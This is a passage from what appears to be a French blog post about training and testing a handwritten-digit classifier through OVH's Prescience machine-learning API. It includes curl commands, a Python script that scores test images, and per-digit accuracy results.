$ curl -H "Authorization: Bearer xxx" -H "Content-Type:application/json" -X POST https://prescience-api.ai.ovh.net/ml/train/?model_id=num\&evaluation_uuid=f7493667-62c8-4c71-b32d-487fabd008f4
{"uuid":"91058b78-a7b8-4a64-9a2a-241a05906d86","status":"PENDING" [...]
$
$ # ~30 min plus tard
$ # <---------- Vérification du modèle ---------->
$
$ curl -H "Authorization: Bearer xxx" https://prescience-api.ai.ovh.net/model/num
{"uuid":  [...] "status":"BUILT" [...]

On peut ensuite interroger le modèle avec des données contenues dans le dossier testing.

$ curl -X POST "https://prescience-serving.ai.ovh.net/eval/num/transform-model" -H "Authorization: Bearer xxx" -H "Content-Type: application/json" -d '{"arguments":{"p1":"0","p2":"0","p3":"0","p4":"0","p5":"0","p6":"0","p7":"0","p8":"0","p9":"0","p10":"0", [...] "p784":"0"}}'
[...] "result":{"label":0,"probability(0)":0.99999285,"probability(1)":8.090802E-8,"probability(2)":1.6754373E-6,"probability(3)":1.0818261E-6,"probability(4)":7.6129476E-7,"probability(5)":6.4200015E-7,"probability(6)":2.0949409E-7,"probability(7)":1.4968518E-6,"probability(8)":8.1384445E-7,"probability(9)":3.089347E-7}}

Pour valider que le système fonctionne bien, il faut tester tous les fichiers contenus dans les sous dossiers de testing. Une nouvelle fois, un petit script rapidement écrit en python fera l’affaire :

import os
import json
from PIL import Image

req = 'curl -s -X POST "https://prescience-serving.ai.ovh.net/eval/num/transform-model" '
req = req + '-H "Authorization: Bearer xxx" '
req = req + '-H "Content-Type: application/json" '
req = req + '-d '
req = req + "'"
req = req + '{"arguments":{'

for i in range (0,10):
    path = "./testing/" + str(i)
    files = os.listdir(path)
    print "label " + str(i)
    ok = 0
    ok97 = 0
    tot = 0
    for f in files:
        im = Image.open(path+ "/" + f)
        j = 1
        tot = tot + 1
        req1 = req
        for p in list(im.getdata()):
            req1 = req1 + '"p'+ str(j) + '":"' + str(p) + '",'
            j = j + 1
        req1 = req1[:-1] + "}}'"
        res = json.loads(os.popen(req1).read())
        if (res['result']['label'] == i):
            if (res['result']['probability('+str(i)+')'] > 0.97):
                ok = ok + 1
            else:
                print " |__ " + f + " ~~> " + str(res['result']['label']),
                print "(prob(" + str(i) + ") = " +  str(res['result']['probability('+str(i)+')'])+ ")"
                ok97 = ok97 + 1
        else : 
            print " |__ " + f + " --> " + str(res['result']['label']),
            print "(prob(" + str(i) + ") = " +  str(res['result']['probability('+str(i)+')']),
            print "/ prob(" + str(res['result']['label']) + ") =",
            print str(res['result']['probability('+str(res['result']['label'])+')']) + ")"
    print " ==> " + str(ok) + "+" + str(ok97) + "/" + str(tot) + " fichiers identifies correctement"

Puisque mon script n'est vraiment pas efficace, il faut attendre quelques heures pour traiter les 10000 images, mais voici (une partie) des résultats obtenus :

$ python check.py
label 0
[...]
 |__ 4065.png --> 9 (prob(0) = 0.020663416 / prob(9) = 0.5178577)
 |__ 4477.png (0.9034158)
 |__ 3640.png (0.95766705)
 |__ 9634.png --> 8 (prob(0) = 0.012318781 / prob(8) = 0.62124056)
[...]
 ==> 950+20/980 fichiers identifies correctement
label 1
 |__ 956.png (0.5512372)
 |__ 8376.png (0.65549505)
 |__ 4201.png --> 7 (prob(1) = 0.1168875 / prob(7) = 0.83713335)
 |__ 5457.png --> 0 (prob(1) = 0.012380271 / prob(0) = 0.44013467)
[...]
 ==> 1108+18/1135 fichiers identifies correctement
 label 2
[...]
 |__ 2462.png (0.4456795)
 |__ 4205.png (0.92711586)
 |__ 4615.png --> 4 (prob(2) = 0.36458197 / prob(4) = 0.6208826)
 |__ 2098.png --> 0 (prob(2) = 0.42372745 / prob(0) = 0.57605886)
[...]
 ==> 926+80/1032 fichiers identifies correctement
 label 3
 |__ 7905.png (0.8120583)
 |__ 63.png --> 2 (prob(3) = 0.40702614 / prob(2) = 0.58500034)
 |__ 2921.png --> 2 (prob(3) = 0.050211266 / prob(2) = 0.79167867)
 |__ 4808.png (0.8406261)
[...]
 ==> 903+85/1010 fichiers identifies correctement
label 4
 |__ 610.png (0.9402425)
 |__ 4438.png (0.8106081)
 |__ 5068.png (0.81054324)
 |__ 1178.png --> 0 (prob(4) = 0.35439998 / prob(0) = 0.42516744)
 |__ 1634.png (0.8933352)
[...]
 ==> 887+72/982 fichiers identifies correctement
 label 5
[...]
 |__ 8160.png (0.89900964)
 |__ 1393.png --> 7 (prob(5) = 0.2399334 / prob(7) = 0.5787523)
 |__ 1378.png --> 6 (prob(5) = 0.3978061 / prob(6) = 0.42883852)
 |__ 4360.png (0.6662907)
[...]
 ==> 783+86/892 fichiers identifies correctement
 label 6
 |__ 4798.png (0.7755983)
 |__ 4571.png --> 8 (prob(6) = 0.028769718 / prob(8) = 0.88183796)
 |__ 3550.png (0.94643056)
 |__ 1569.png (0.9389341)
[...]
 ==> 893+44/958 fichiers identifies correctement
label 7
[...]
 |__ 2507.png (0.92112225)
 |__ 1754.png --> 2 (prob(7) = 0.3992076 / prob(2) = 0.5211325)
 |__ 1543.png (0.96900773)
 |__ 6576.png (0.64587057)
 |__ 1194.png --> 9 (prob(7) = 0.47039503 / prob(9) = 0.52659583)
 [...]
 ==> 911+91/1028 fichiers identifies correctement
 label 8
 |__ 9280.png (0.78978646)
 |__ 2896.png --> 0 (prob(8) = 0.021465547 / prob(0) = 0.96403486)
 |__ 8410.png --> 6 (prob(8) = 0.37426692 / prob(6) = 0.5977813)
 |__ 6603.png (0.94607025)
[...]
 ==> 872+80/974 fichiers identifies correctement
 label 9
[...]
 |__ 1554.png (0.9546513)
 |__ 1232.png --> 4 (prob(9) = 0.04343883 / prob(4) = 0.74937975)
 |__ 2129.png --> 2 (prob(9) = 0.05706393 / prob(2) = 0.53022295)
 |__ 9530.png (0.9462949)
[...]
 ==> 881+96/1009 fichiers identifies correctement

Sous forme de matrice de confusion, les choses sont plus lisibles :

matrice

  • En vert : lorsque la réponse est correcte et la probabilité supérieure à 97 %,
  • En orange clair : lorsque la réponse est correcte et la probabilité inférieure à 97 %,
  • En orange foncé : lorsque la réponse est incorrecte et la probabilité inférieure à 97 %,
  • En rouge : lorsque la réponse est incorrecte et la probabilité supérieure à 97 %,

Ainsi, les résultats sont plutôt satisfaisants. En effet, dans près de 98 % des cas, la réponse est correcte et dans seulement 0,22 % des cas, elle est incorrecte avec une probabilité très élevée. Lorsque l'on sait que le taux d'erreur moyen d'un être humain est de l'ordre de 0,5 % à 1 % (cf. ici), on constate que la machine est au moins aussi bonne que nous, pour ne pas dire meilleure.

J'avais testé, dans l'interface web mise à disposition, le machine leaning d'OVH avec un exemple simple. Le principe est le même que l'on utilise l'interface web ou l'API et des requêtes curl, comme je l'ai fait ici. Il s'agit ici d'un exemple beaucoup plus complexe. Malgré cela, les résultats sont satisfaisants.

Encore une fois, merci OVH.